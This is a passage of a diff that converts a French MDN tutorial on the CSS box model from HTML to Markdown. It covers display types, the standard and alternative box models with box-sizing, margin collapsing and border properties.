comportement par défaut des éléments sur le Web — ce qui, comme nous l'avons vu, est appelé la <strong>disposition normale</strong> ("<em>normal flow</em>" en anglais), puisque sans instructions supplémentaires de notre part, c'est ainsi que les boîtes sont mises en page.</p> +Le type de boîte appliqué à un élément est défini par la valeur de la propriété [`display`](/fr/docs/Web/CSS/display) tel que `block` ou `inline`, et se réfère à la valeur extérieure de positionnement (ou "_display_" en anglais). -<h2 id="examples_of_different_display_types">Exemples de quelques types de positionnement</h2> +## Aparté : les positionnements intérieurs et extérieurs -<p>Lançons nous à présent dans la pratique et étudions quelques exemples. Vous trouverez ci-dessous trois éléments HTML différents, mais qui sont tous en postionnement extérieur "en bloc" (<code>block</code>). Le premier est un paragraphe, possèdant une bordure ajoutée en CSS. Le navigateur va alors disposer l'élément comme une boîte "en bloc" lors de sa phase de rendu : le paragraphe occupe alors sa propre nouvelle ligne et s'étend en largeur pour occuper tout l'espace disponible.</p> +Au point où nous en sommes, il faut aborder la différence entre les propriétés de positionnement **intérieurs** ("_inner dipslay_") et **extérieurs** ("_outer display_"). Comme nous l'avons évoqué, les boîtes en CSS possèdent un type de positionnement _extérieur_ qui détermine si la boîte est "en ligne" ou bien "en bloc". -<p>Le deuxième élément est une liste, qui est disposée selon la règle <code>display: flex;</code>. Ceci définit une mise en page "flex" pour tous les éléments contenus dans la liste, bien que la liste en elle-même est en disposition "en bloc" — c'est pourquoi elle s'étend en largeur sur une nouvelle ligne, exactement comme le premier paragraphe.</p> +Cependant, les boîtes ont aussi un type de positionnement intérieur, qui décrit le comportement de mise en page des éléments contenus dans la boîte. Par défaut, les éléments contenus dans la boîte sont affichés dans la **[disposition normale](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow)**, ce qui signifie qu'ils se comportent exactement comme n'importe quel autre élément "en bloc" ou "en ligne" (comme décrit auparavant). -<p>Juste en dessous, se trouve un autre paragraphe, diposé en bloc comme le précédent, dans lequel sont insérés deux éléments <code><span></code>. Ces deux éléments sont par défaut disposés "en ligne". Cependant, on a ajouté à l'un des deux <code><span></code> une classe CSS nommée "block" qui lui attribue la propriété <code>display: block;</code>, ce qui explique la différence de mise en page observée.</p> +Ce type de positionnement intérieur peut naturellement être modifié, en utilisant la valeur `flex` de la propriété `display`. Ainsi, si on donne la propriété `display: flex;` à un élément, son type de positionnement extérieur est "en bloc" (`block`), mais son type de positionnement intérieur est modifié en `flex`. Tout élément directement enfant de cette boîte se voit alors changé en élément flex, et sera mis en page selon les règles précisées dans les spécifications de [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox), dont on reparlera plus tard. -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/block.html", '100%', 1050)}}</p> +> **Note :** Pour en apprendre d'avantage sur les valeurs prises par la propriété display, et le comportement des boîtes dans une mise en page en bloc ou en ligne, jettez un coup d'oeil au guide MDN sur la [Disposition en ligne et en bloc](/fr/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow). -<p>Nous avons dans cet exemple le comportement typique d'un élément en ligne (<code>inline</code>), observant chacune des règles énoncées plus haut : l'élément <code><span></code> du premier paragraphe ne force pas de retour à la ligne et se place à la suite - <em>en ligne</em> donc - des autres éléments.</p> +Lorsque vous en apprendrez plus sur la mise en page en CSS, vous découvrirez une variété d'autres valeurs de positionnement intérieur pour une boîte, tel que `flex`, ou encore [`grid`](/fr/docs/Learn/CSS/CSS_layout/Grids). -<p>Nous avons en suite un élément <code><ul></code> dont la propriété de positionnement est <code>display: inline-flex;</code>, ce qui fait du <code><ul></code> une boîte en ligne, contenant des éléments de liste (<code><li></code>) dipsosés en "flex".</p> +Les dispositions "en ligne" et "en bloc" demeurent néanmoins le comportement par défaut des éléments sur le Web — ce qui, comme nous l'avons vu, est appelé la **disposition normale** ("_normal flow_" en anglais), puisque sans instructions supplémentaires de notre part, c'est ainsi que les boîtes sont mises en page. -<p>Pour finir, nous avons deux paragraphes, tous deux définis en <code>display: inline;</code>. Le texte dans ces paragraphes, tout comme les éléments de listes, sont disposés sur la même ligne sans retour à la ligne pour chaque élément, contrairement à une disposition en bloc.</p> +## Exemples de quelques types de positionnement -<p><strong>Dans cet exemple, nous vous invitons à passer de <code>display: inline;</code> à <code>display: block;</code> ou encore de <code>display: inline-flex;</code> à <code>display: flex;</code> pour observer les modifications apportées par ces modes de positionnement.</strong></p> +Lançons nous à présent dans la pratique et étudions quelques exemples. Vous trouverez ci-dessous trois éléments HTML différents, mais qui sont tous en postionnement extérieur "en bloc" (`block`). Le premier est un paragraphe, possèdant une bordure ajoutée en CSS. Le navigateur va alors disposer l'élément comme une boîte "en bloc" lors de sa phase de rendu : le paragraphe occupe alors sa propre nouvelle ligne et s'étend en largeur pour occuper tout l'espace disponible. -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline.html", '100%', 1000)}}</p> +Le deuxième élément est une liste, qui est disposée selon la règle `display: flex;`. Ceci définit une mise en page "flex" pour tous les éléments contenus dans la liste, bien que la liste en elle-même est en disposition "en bloc" — c'est pourquoi elle s'étend en largeur sur une nouvelle ligne, exactement comme le premier paragraphe. -<p>Vous rencontrerez des mises en page de type "flex" plus tard dans ces lessons, pas d'inquiétude si ce type de positionnement n'est pas maîtrisé. L'important est ici de se souvenir que c'est la valeur de la propriété <code>display</code> qui permet de modifier l'affichage extérieur (en ligne ou en bloc), ce qui définit l'interaction de la boîte par rapport à son environnement dans la mise en page.</p> +Juste en dessous, se trouve un autre paragraphe, diposé en bloc comme le précédent, dans lequel sont insérés deux éléments `<span>`. Ces deux éléments sont par défaut disposés "en ligne". Cependant, on a ajouté à l'un des deux `<span>` une classe CSS nommée "block" qui lui attribue la propriété `display: block;`, ce qui explique la différence de mise en page observée. -<p>Pour le reste de la leçon, nous ne parlerons plus que du <strong>type de positionnement extérieur</strong>.</p> +{{EmbedGHLiveSample("css-examples/learn/box-model/block.html", '100%', 1050)}} -<h2 id="what_is_the_css_box_model">Qu'est-ce que le modèle de boîte CSS ?</h2> +Nous avons dans cet exemple le comportement typique d'un élément en ligne (`inline`), observant chacune des règles énoncées plus haut : l'élément `<span>` du premier paragraphe ne force pas de retour à la ligne et se place à la suite - _en ligne_ donc - des autres éléments. -<p>Le modèle de boîte que nous allons voir s'applique totalement aux boîtes en bloc, mais les boîtes en ligne ne reprennent que certains aspects — le modèle est alors simplifié ! Ce modèle définit comment chaque composant de la boîte, à savoir la <em>marge</em>, la <em>bordure</em>, le <em>padding</em> (remplissage intérieur) et le contenu, fonctionnent ensemble pour former l'aspect final rendu à l'écran. Pour ajouter un soupçon de complexité, il est aussi possible de passer du modèle standard à un modèle alternatif.</p> +Nous avons en suite un élément `<ul>` dont la propriété de positionnement est `display: inline-flex;`, ce qui fait du `<ul>` une boîte en ligne, contenant des éléments de liste (`<li>`) dipsosés en "flex". -<h3 id="parts_of_a_box">Les composants d'une boîte</h3> +Pour finir, nous avons deux paragraphes, tous deux définis en `display: inline;`. Le texte dans ces paragraphes, tout comme les éléments de listes, sont disposés sur la même ligne sans retour à la ligne pour chaque élément, contrairement à une disposition en bloc. -<p>Lorsque l'on crée une boîte en bloc, on se retrouve avec les composants suivant :</p> +**Dans cet exemple, nous vous invitons à passer de `display: inline;` à `display: block;` ou encore de `display: inline-flex;` à `display: flex;` pour observer les modifications apportées par ces modes de positionnement.** -<ul> - <li><strong>La boîte de contenu </strong>: Il s'agit de la zone où sont affichés les éléments contenus par notre boîte, qui peut être dimensionnée en utilisant les propriétés CSS <a href="/fr/docs/Web/CSS/width"><code>width</code></a> et <a href="/fr/docs/Web/CSS/height"><code>height</code></a>.</li> - <li><strong>La boîte de <i lang="en">padding</i></strong> <strong>(marge intérieure) </strong>: Le <i lang="en">padding</i> (ou remplissage en français) est une zone vierge qui se présente comme un espacement encadrant le contenu; sa taille peut être contrôlée sur chaque côté en utilisant la propriété <a href="/fr/docs/Web/CSS/padding"><code>padding</code></a> et ses autres propriétés connexes.</li> - <li><strong>La boîte de bordure </strong>: La bordure englobe le contenu et le <i lang="en">padding</i> pour former une bordure. Sa taille et son style sont paramétrés par la propriété <a href="/fr/docs/Web/CSS/border"><code>border</code></a> et ses propriétés sous-jacentes.</li> - <li><strong>La boîte de marge </strong>: La marge est la couche la plus à l'extérieur, englobant le contenu, le <i lang="en">padding</i> et la bordure. Comme le <i lang="en">padding</i>, il s'agit d'une zone vierge d'espacement mais qui est cette fois située à l'extérieur de l'élément, séparant l'élément des autres éléments de la page. sa taille peut être contrôlée sur chaque côté en utilisant la propriété <a href="/fr/docs/Web/CSS/margin"><code>margin</code></a> et ses autres propriétés connexes.</li> -</ul> +{{EmbedGHLiveSample("css-examples/learn/box-model/inline.html", '100%', 1000)}} -<p>Le schéma ci-dessous montre la structure de ces différentes couches:</p> +Vous rencontrerez des mises en page de type "flex" plus tard dans ces lessons, pas d'inquiétude si ce type de positionnement n'est pas maîtrisé. L'important est ici de se souvenir que c'est la valeur de la propriété `display` qui permet de modifier l'affichage extérieur (en ligne ou en bloc), ce qui définit l'interaction de la boîte par rapport à son environnement dans la mise en page. -<p><img alt="Diagramme du modèle de boîte" src="box-model.png"></p> +Pour le reste de la leçon, nous ne parlerons plus que du **type de positionnement extérieur**. -<h3 id="the_standard_css_box_model">Le modèle de boîte CSS standard</h3> +## Qu'est-ce que le modèle de boîte CSS ? -<p>Dans le modèle standard, lorsque vous spécifiez les propriétés de largeur (<code>width</code>) et de hauteur (<code>height</code>), celles-ci définissent alors la hauteur et la largeur de la boîte de contenu (la boîte la plus à l'intérieur donc). La taille du <i lang="en">padding</i> et de la bordure (s'ils existent) s'ajoutent à la largeur et à la hauteur définies dans <code>width</code> et <code>height</code> pour obtenir les dimensions totales occupées par la boîte. La marge étant extérieure, elle ne rentre pas dans le compte. Ce principe est illustré dans l'exemple ci-dessous.</p> +Le modèle de boîte que nous allons voir s'applique totalement aux boîtes en bloc, mais les boîtes en ligne ne reprennent que certains aspects — le modèle est alors simplifié ! Ce modèle définit comment chaque composant de la boîte, à savoir la _marge_, la _bordure_, le _padding_ (remplissage intérieur) et le contenu, fonctionnent ensemble pour former l'aspect final rendu à l'écran. Pour ajouter un soupçon de complexité, il est aussi possible de passer du modèle standard à un modèle alternatif. -<p>En prenant une boîte définie avec les valeurs suivantes de <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code> et <code>padding</code> :</p> +### Les composants d'une boîte -<pre class="brush: css">.box { +Lorsque l'on crée une boîte en bloc, on se retrouve avec les composants suivant : + +- **La boîte de contenu** : Il s'agit de la zone où sont affichés les éléments contenus par notre boîte, qui peut être dimensionnée en utilisant les propriétés CSS [`width`](/fr/docs/Web/CSS/width) et [`height`](/fr/docs/Web/CSS/height). +- **La boîte de <i lang="en">padding</i>** **(marge intérieure)** : Le + + <i lang="en">padding</i> + + (ou remplissage en français) est une zone vierge qui se présente comme un espacement encadrant le contenu; sa taille peut être contrôlée sur chaque côté en utilisant la propriété [`padding`](/fr/docs/Web/CSS/padding) et ses autres propriétés connexes. + +- **La boîte de bordure** : La bordure englobe le contenu et le + + <i lang="en">padding</i> + + pour former une bordure. Sa taille et son style sont paramétrés par la propriété [`border`](/fr/docs/Web/CSS/border) et ses propriétés sous-jacentes. + +- **La boîte de marge** : La marge est la couche la plus à l'extérieur, englobant le contenu, le + + <i lang="en">padding</i> + + et la bordure. Comme le + + <i lang="en">padding</i> + + , il s'agit d'une zone vierge d'espacement mais qui est cette fois située à l'extérieur de l'élément, séparant l'élément des autres éléments de la page. sa taille peut être contrôlée sur chaque côté en utilisant la propriété [`margin`](/fr/docs/Web/CSS/margin) et ses autres propriétés connexes. + +Le schéma ci-dessous montre la structure de ces différentes couches: + + + +### Le modèle de boîte CSS standard + +Dans le modèle standard, lorsque vous spécifiez les propriétés de largeur (`width`) et de hauteur (`height`), celles-ci définissent alors la hauteur et la largeur de la boîte de contenu (la boîte la plus à l'intérieur donc). La taille du <i lang="en">padding</i> et de la bordure (s'ils existent) s'ajoutent à la largeur et à la hauteur définies dans `width` et `height` pour obtenir les dimensions totales occupées par la boîte. La marge étant extérieure, elle ne rentre pas dans le compte. Ce principe est illustré dans l'exemple ci-dessous. + +En prenant une boîte définie avec les valeurs suivantes de `width`, `height`, `margin`, `border` et `padding` : + +```css +.box { width: 350px; height: 150px; margin: 10px; padding: 25px; border: 5px solid black; } -</pre> +``` -<p>L'espace occupé par notre boîte dans le modèle standard vaut alors 410px (350 + 25 + 25 + 5 + 5), et la hauteur, 210px (150 + 25 + 25 + 5 + 5), en ajoutant bien les valeurs de <code>padding</code> et de <code>border</code> (deux fois, car ces marges sont présentes aux deux extrêmités de la largeur et de la longeur), aux valeurs de <code>width</code> et de <code>height</code>.</p> +L'espace occupé par notre boîte dans le modèle standard vaut alors 410px (350 + 25 + 25 + 5 + 5), et la hauteur, 210px (150 + 25 + 25 + 5 + 5), en ajoutant bien les valeurs de `padding` et de `border` (deux fois, car ces marges sont présentes aux deux extrêmités de la largeur et de la longeur), aux valeurs de `width` et de `height`. -<p><img alt="Illustration de la taille de la boîte lorsqu'on utilise le modèle de boîte standard." src="standard-box-model.png"></p> + -<div class="note"> -<p><strong>Note :</strong> La marge n'est pas comptabilisée dans la taille totale de la boîte — car bien qu'elle affecte l'espace que la boîte va prendre en définitive dans la page, il ne s'agit que de l'espace extérieur à la boîte. La zone couverte par la boîte s'arrête donc à la bordure et ne s'étend pas à la marge.</p> -</div> +> **Note :** La marge n'est pas comptabilisée dans la taille totale de la boîte — car bien qu'elle affecte l'espace que la boîte va prendre en définitive dans la page, il ne s'agit que de l'espace extérieur à la boîte. La zone couverte par la boîte s'arrête donc à la bordure et ne s'étend pas à la marge. -<h3 id="the_alternative_css_box_model">Le modèle de boîte CSS alternatif</h3> +### Le modèle de boîte CSS alternatif -<p>À ce stade, vous pourriez penser qu'il n'est pas très commode d'avoir à ajouter constamment les dimensions de la bordure et du <i lang="en">padding</i> aux dimensions du conteneur pour obtenir les dimensions totales de la boîte, et vous n'auriez pas tort ! Pour cela, le CSS possède un modèle de boîte alternatif introduit peu de temps après le modèle standard. En utilisant ce modèle, les paramètres width et height définissent la largeur et la hauteur <strong>totale</strong> de la boîte en comprenant le contenu, le <i lang="en">padding</i> et la bordure. Ainsi, pour obtenir la taille du contenu, il faut retirer aux dimensions la taille du <i lang="en">padding</i> et de la bordure. En reprenant l'exemple précédent avec ce modèle, on obtiendrait les dimensions suivantes : largeur = 350px, hauteur = 150px.</p> +À ce stade, vous pourriez penser qu'il n'est pas très commode d'avoir à ajouter constamment les dimensions de la bordure et du <i lang="en">padding</i> aux dimensions du conteneur pour obtenir les dimensions totales de la boîte, et vous n'auriez pas tort ! Pour cela, le CSS possède un modèle de boîte alternatif introduit peu de temps après le modèle standard. En utilisant ce modèle, les paramètres width et height définissent la largeur et la hauteur **totale** de la boîte en comprenant le contenu, le <i lang="en">padding</i> et la bordure. Ainsi, pour obtenir la taille du contenu, il faut retirer aux dimensions la taille du <i lang="en">padding</i> et de la bordure. En reprenant l'exemple précédent avec ce modèle, on obtiendrait les dimensions suivantes : largeur = 350px, hauteur = 150px. -<p><img alt="Illustration de la taille de la boîte lorsqu'on utilise le modèle de boîte alternatif." src="alternate-box-model.png"></p> + -<p>Le navigateur utilise le modèle standard par défaut. Pour utiliser le modèle alternatif, il faut définir la propriété <code>box-sizing: border-box;</code> sur notre boîte. Cela revient à demander au navigateur de considérer la <strong>boîte de la bordure</strong> comme la zone d'effet de <code>width</code> et <code>height</code>, et non la boîte du contenu comme dans le modèle standard !</p> +Le navigateur utilise le modèle standard par défaut. Pour utiliser le modèle alternatif, il faut définir la propriété `box-sizing: border-box;` sur notre boîte. Cela revient à demander au navigateur de considérer la **boîte de la bordure** comme la zone d'effet de `width` et `height`, et non la boîte du contenu comme dans le modèle standard ! -<pre class="brush: css">.box { +```css +.box { box-sizing: border-box; -} </pre> +} +``` -<p>Si vous désirez utiliser le modèle alternatif sur tous vos éléments — ce qui est un choix répandu parmi certains cercles de développeurs — vous pouvez le faire simplement à l'aide des quelques instructions ci-dessous, en utilisant <code>box-sizing</code> sur l'élément <code><html></code> et en utilisant l'effet cascade du CSS en paramétrant tous les autres éléments sur la valeur héritée du parent (<code>inherit</code>). Si vous tenez à comprendre le raisonnement derrière ce code, regardez du côté de <a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">l'article des Astuces CSS sur box-sizing</a>.</p> +Si vous désirez utiliser le modèle alternatif sur tous vos éléments — ce qui est un choix répandu parmi certains cercles de développeurs — vous pouvez le faire simplement à l'aide des quelques instructions ci-dessous, en utilisant `box-sizing` sur l'élément `<html>` et en utilisant l'effet cascade du CSS en paramétrant tous les autres éléments sur la valeur héritée du parent (`inherit`). Si vous tenez à comprendre le raisonnement derrière ce code, regardez du côté de [l'article des Astuces CSS sur box-sizing](https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/). -<pre class="brush: css">html { +```css +html { box-sizing: border-box; } *, *::before, *::after { box-sizing: inherit; -}</pre> +} +``` + +> **Note :** Pour l'anecdote, le navigateur Internet Explorer utilisait historiquement le modèle alternatif par defaut — sans pour autant fournir un moyen de passer à l'autre modèle ! + +## Manipuler les modèles de boîte -<div class="note"> -<p><strong>Note :</strong> Pour l'anecdote, le navigateur Internet Explorer utilisait historiquement le modèle alternatif par defaut — sans pour autant fournir un moyen de passer à l'autre modèle !</p> -</div> +Dans l'exemple ci-dessous, se trouvent deux boîtes. Ces deux boîtes possèdent la classe `.box` qui leur confère les mêmes valeurs pour les propriétés `width`, `height`, `margin`, `border` et `padding`. La seule différence est que la seconde boîte utilise le modèle alternatif. -<h2 id="playing_with_box_models">Manipuler les modèles de boîte</h2> +**Pouvez-vous modifier les dimensions de la seconde boîte (en lui ajoutant le CSS dans la classe `.alternate`) pour lui permettre d'avoir la même hauteur et largeur finale que l'autre boîte ?** -<p>Dans l'exemple ci-dessous, se trouvent deux boîtes. Ces deux boîtes possèdent la classe <code>.box</code> qui leur confère les mêmes valeurs pour les propriétés <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code> et <code>padding</code>. La seule différence est que la seconde boîte utilise le modèle alternatif.</p> +{{EmbedGHLiveSample("css-examples/learn/box-model/box-models.html", '100%', 1000)}} -<p><strong>Pouvez-vous modifier les dimensions de la seconde boîte (en lui ajoutant le CSS dans la classe <code>.alternate</code>) pour lui permettre d'avoir la même hauteur et largeur finale que l'autre boîte ?</strong></p> +> **Note :** vous pouvez trouver une solution [ici](https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-box-model). -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/box-models.html", '100%', 1000)}}</p> +### Utiliser les outils de développement pour voir le modèle de boîte -<div class="note"> -<p><strong>Note :</strong> vous pouvez trouver une solution <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-box-model">ici</a>.</p> -</div> +Les [outils de développement](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) de votre navigateur peuvent vous permettre d'apréhender les concepts de boîte bien plus facilement. Si vous inspectez un élément dans les DevTools de Firefox (clic droit > Examiner l'élément), vous pouvez avoir accès à toutes les propriétés des différentes couches de la boîte (contenu, <i lang="en">padding</i>, bordure et marge) dans l'interface graphique interactive montrée ci-dessous. Inspecter un élément ainsi, c'est s'assurer qu'il possède bien la taille que l'on désire ! -<h3 id="use_browser_devtools_to_view_the_box_model">Utiliser les outils de développement pour voir le modèle de boîte</h3> + -<p>Les <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">outils de développement</a> de votre navigateur peuvent vous permettre d'apréhender les concepts de boîte bien plus facilement. Si vous inspectez un élément dans les DevTools de Firefox (clic droit > Examiner l'élément), vous pouvez avoir accès à toutes les propriétés des différentes couches de la boîte (contenu, <i lang="en">padding</i>, bordure et marge) dans l'interface graphique interactive montrée ci-dessous. Inspecter un élément ainsi, c'est s'assurer qu'il possède bien la taille que l'on désire !</p> +## Marges, remplissages (paddings), et bordures -<p><img alt="Inspecter le modèle de boîte d'un élément grâce aux outils de développement de Firefox" src="box-model-devtools.png"></p> +Nous avons déjà rencontré ensemble les propriétés [`margin`](/fr/docs/Web/CSS/margin), [`padding`](/fr/docs/Web/CSS/padding) et [`border`](/fr/docs/Web/CSS/border), ainsi que leurs effets dans les exemples précédents. Mais ces propriétés sont des **raccourcis** qui nous permettent de définir ces règles pour les quatre côtés de la boîte d'un seul coup. Ces raccourcis ont donc aussi leurs propriétés équivalentes permettant de régler séparément chaque côté pour plus de personalisation. -<h2 id="margins_padding_and_borders">Marges, remplissages (paddings), et bordures</h2> +Regardons de plus près ces nouvelles propriétés. -<p>Nous avons déjà rencontré ensemble les propriétés <a href="/fr/docs/Web/CSS/margin"><code>margin</code></a>, <a href="/fr/docs/Web/CSS/padding"><code>padding</code></a> et <a href="/fr/docs/Web/CSS/border"><code>border</code></a>, ainsi que leurs effets dans les exemples précédents. Mais ces propriétés sont des <strong>raccourcis</strong> qui nous permettent de définir ces règles pour les quatre côtés de la boîte d'un seul coup. Ces raccourcis ont donc aussi leurs propriétés équivalentes permettant de régler séparément chaque côté pour plus de personalisation.</p> +### Les marges -<p>Regardons de plus près ces nouvelles propriétés.</p> +La marge est une zone d'espacement invisible qui encadre votre boîte (une marge extérieure). La marge repousse les éléments alentours de la boîte. On peut de plus lui donner une valeur numérique positive ou bien même négative ! Lorsque cette valeur est négative, cela peut cependant engendrer des superpositions entre votre boîte et d'autres éléments. Que vous utilisiez le modèle alternatif ou standard, la marge est toujours décomptée en surplus de la taille totale de la boîte et est ajoutée après que celle-ci a été calculée. -<h3 id="Margin">Les marges</h3> +On peut fixer les quatre marges d'une boîte d'un seul coup à l'aide de la propriété [`margin`](/fr/docs/Web/CSS/margin), ou bien régler chaque côté individuellement avec les propriétés équivalentes suivantes : -<p>La marge est une zone d'espacement invisible qui encadre votre boîte (une marge extérieure). La marge repousse les éléments alentours de la boîte. On peut de plus lui donner une valeur numérique positive ou bien même négative ! Lorsque cette valeur est négative, cela peut cependant engendrer des superpositions entre votre boîte et d'autres éléments. Que vous utilisiez le modèle alternatif ou standard, la marge est toujours décomptée en surplus de la taille totale de la boîte et est ajoutée après que celle-ci a été calculée.</p> +- [`margin-top`](/fr/docs/Web/CSS/margin-top) +- [`margin-right`](/fr/docs/Web/CSS/margin-right) +- [`margin-bottom`](/fr/docs/Web/CSS/margin-bottom) +- [`margin-left`](/fr/docs/Web/CSS/margin-left) -<p>On peut fixer les quatre marges d'une boîte d'un seul coup à l'aide de la propriété <a href="/fr/docs/Web/CSS/margin"><code>margin</code></a>, ou bien régler chaque côté individuellement avec les propriétés équivalentes suivantes :</p> +**Dans l'exemple ci-dessous, tentez donc de modifier les valeurs de `margin` pour voir comment la boîte est repoussée et évolue à cause des espaces créés ou supprimés (si la marge est négative) par vos soins.** -<ul> - <li><a href="/fr/docs/Web/CSS/margin-top"><code>margin-top</code></a></li> - <li><a href="/fr/docs/Web/CSS/margin-right"><code>margin-right</code></a></li> - <li><a href="/fr/docs/Web/CSS/margin-bottom"><code>margin-bottom</code></a></li> - <li><a href="/fr/docs/Web/CSS/margin-left"><code>margin-left</code></a></li> -</ul> +{{EmbedGHLiveSample("css-examples/learn/box-model/margin.html", '100%', 700)}} -<p><strong>Dans l'exemple ci-dessous, tentez donc de modifier les valeurs de <code>margin</code> pour voir comment la boîte est repoussée et évolue à cause des espaces créés ou supprimés (si la marge est négative) par vos soins.</strong></p> +#### La fusion des marges -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin.html", '100%', 700)}}</p> +Le concept de fusion entre les marges est important à maîtriser pour la mise en page. Si deux éléments de votre page ont des marges qui se touchent, alors ces marges fusionnent pour ne faire plus qu'une seule marge qui aura pour taille la plus grande des deux tailles des marges initiaux. -<h4 id="margin_collapsing">La fusion des marges</h4> +Dans l'exemple ci-dessous, nous avons deux paragraphes. Le paragraphe du haut a un `margin-bottom` de 50 pixels. Le second paragraphe a un `margin-top` de 30 pixels. Puisque ces deux marges se touchent, elles fusionnent ensemble, et ainsi la marge finale entre les deux paragraphes est de 50 pixels et non 80, la somme des deux marges. -<p>Le concept de fusion entre les marges est important à maîtriser pour la mise en page. Si deux éléments de votre page ont des marges qui se touchent, alors ces marges fusionnent pour ne faire plus qu'une seule marge qui aura pour taille la plus grande des deux tailles des marges initiaux.</p> +**Vous pouvez tester cette propriété par vous-même en modifiant la propriété `margin-top` du deuxième paragraphe à 0 dans l'exemple ci-dessous. La marge visible entre les deux paragraphes demeure inchangée — elle conserve sa taille de 50 pixels qui provient de la propriété `margin-bottom` du premier paragraphe.** -<p>Dans l'exemple ci-dessous, nous avons deux paragraphes. Le paragraphe du haut a un <code>margin-bottom</code> de 50 pixels. Le second paragraphe a un <code>margin-top</code> de 30 pixels. Puisque ces deux marges se touchent, elles fusionnent ensemble, et ainsi la marge finale entre les deux paragraphes est de 50 pixels et non 80, la somme des deux marges.</p> +{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 700)}} -<p><strong>Vous pouvez tester cette propriété par vous-même en modifiant la propriété <code>margin-top</code> du deuxième paragraphe à 0 dans l'exemple ci-dessous. La marge visible entre les deux paragraphes demeure inchangée — elle conserve sa taille de 50 pixels qui provient de la propriété <code>margin-bottom</code> du premier paragraphe.</strong></p> +Il existe quelques règles qui contrôlent la fusion ou non des marges. Pour plus d'informations, référez vous à la page détaillée [Maîtriser la fusion des marges](/fr/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing). Si vous ne devez retenir qu'une chose, c'est que les marges peuvent fusionner, et que si vos marges ne correspondent pas à vos attentes, c'est certainement ce phénomène qui est derrière. -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 700)}}</p> +### Les bordures -<p>Il existe quelques règles qui contrôlent la fusion ou non des marges. Pour plus d'informations, référez vous à la page détaillée <a href="/fr/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Maîtriser la fusion des marges</a>. Si vous ne devez retenir qu'une chose, c'est que les marges peuvent fusionner, et que si vos marges ne correspondent pas à vos attentes, c'est certainement ce phénomène qui est derrière.</p> +La bordure se situe entre la marge et le remplissage (<i lang="en">padding</i>) d'une boîte. Si vous utilisez le modèle standard de boîte, la taille de la bordure s'ajoute à la largeur (`width`) et la hauteur (`height`) de la boîte. Si vous utilisez le modèle de boîte alternatif, alors la taille de la bordure rend la taille disponible pour le contenu plus petite puisqu'elle utilise une partie de la largeur et de la hauteur disponible. -<h3 id="borders">Les bordures</h3> +Pour agir sur le style d'une bordure, il existe de nombreuses propriétés qui permettent de régler le style, la taille et la couleur pour chacun des quatre côtés de la bordure. -<p>La bordure se situe entre la marge et le remplissage (<i lang="en">padding</i>) d'une boîte. Si vous utilisez le modèle standard de boîte, la taille de la bordure s'ajoute à la largeur (<code>width</code>) et la hauteur (<code>height</code>) de la boîte. Si vous utilisez le modèle de boîte alternatif, alors la taille de la bordure rend la taille disponible pour le contenu plus petite puisqu'elle utilise une partie de la largeur et de la hauteur disponible.</p> +Vous pouvez naturellement fixer la forme taille et couleur des quatre côtés en une seule fois, par le biais de la propriété `border`. -<p>Pour agir sur le style d'une bordure, il existe de nombreuses propriétés qui permettent de régler le style, la taille et la couleur pour chacun des quatre côtés de la bordure.</p> +Pour régler ces propriétés individuellement pour chacun des côtés, vous pouvez utiliser : -<p>Vous pouvez naturellement fixer la forme taille et couleur des quatre côtés en une seule fois, par le biais de la propriété <code>border</code>.</p> +- [`border-top`](/fr/docs/Web/CSS/border-top) +- [`border-right`](/fr/docs/Web/CSS/border-right) +- [`border-bottom`](/fr/docs/Web/CSS/border-bottom) +- [`border-left`](/fr/docs/Web/CSS/border-left) -<p>Pour régler ces propriétés individuellement pour chacun des côtés, vous pouvez utiliser :</p> +Pour modifier la taille, le style ou la couleur de tous les côtés en même temps, utilisez les propriétés suivantes : -<ul> - <li><a href="/fr/docs/Web/CSS/border-top"><code>border-top</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-right"><code>border-right</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-bottom"><code>border-bottom</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-left"><code>border-left</code></a></li> -</ul> +- [`border-width`](/fr/docs/Web/CSS/border-width) +- [`border-style`](/fr/docs/Web/CSS/border-style) +- [`border-color`](/fr/docs/Web/CSS/border-color) -<p>Pour modifier la taille, le style ou la couleur de tous les côtés en même temps, utilisez les propriétés suivantes :</p> +Pour modifier la taille, le style ou la couleur d'un seul coté à la fois, vous pouvez faire l'usage de ces propriétés : -<ul> - <li><a href="/fr/docs/Web/CSS/border-width"><code>border-width</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-style"><code>border-style</code></a></li> - <li><a href="/fr/docs/Web/CSS/border-color"><code>border-color</code></a></li> -</ul> +- [`border-top-width`](/fr/docs/Web/CSS/border-top-width) +- [`border-top-style`](/fr/docs/Web/CSS/border-top-style) +- [`border-top-color`](/fr/docs/Web/CSS/border-top-color) +- [`border-right-width`](/fr/docs/Web/CSS/border-right-width) +- [`border-right-style`](/fr/docs/Web/CSS/border-right-style) +- [`border-right-color`](/fr/docs/Web/CSS/border-right-color) +- [`border-bottom-width`](/fr/docs/Web/CSS/border-bottom-width) +- [`border-bottom-style`](/fr/docs/Web/CSS/border-bottom-style) +- [`border-bottom-color`](/fr/docs/Web/CSS/border-bottom-color) +- [`border-left-width`](/fr/docs/Web/CSS/border-left-width) +- [`border-left-style`](/fr/docs/Web/CSS/border-left-style) +- [`border-left-color`](/fr/docs/Web/CSS/border-left-color) -<p>Pour modifier la taille, le style ou la couleur d'un seul coté à la fois, vous pouvez faire l'usage de ces propriétés :</p> +**Dans l'exemple 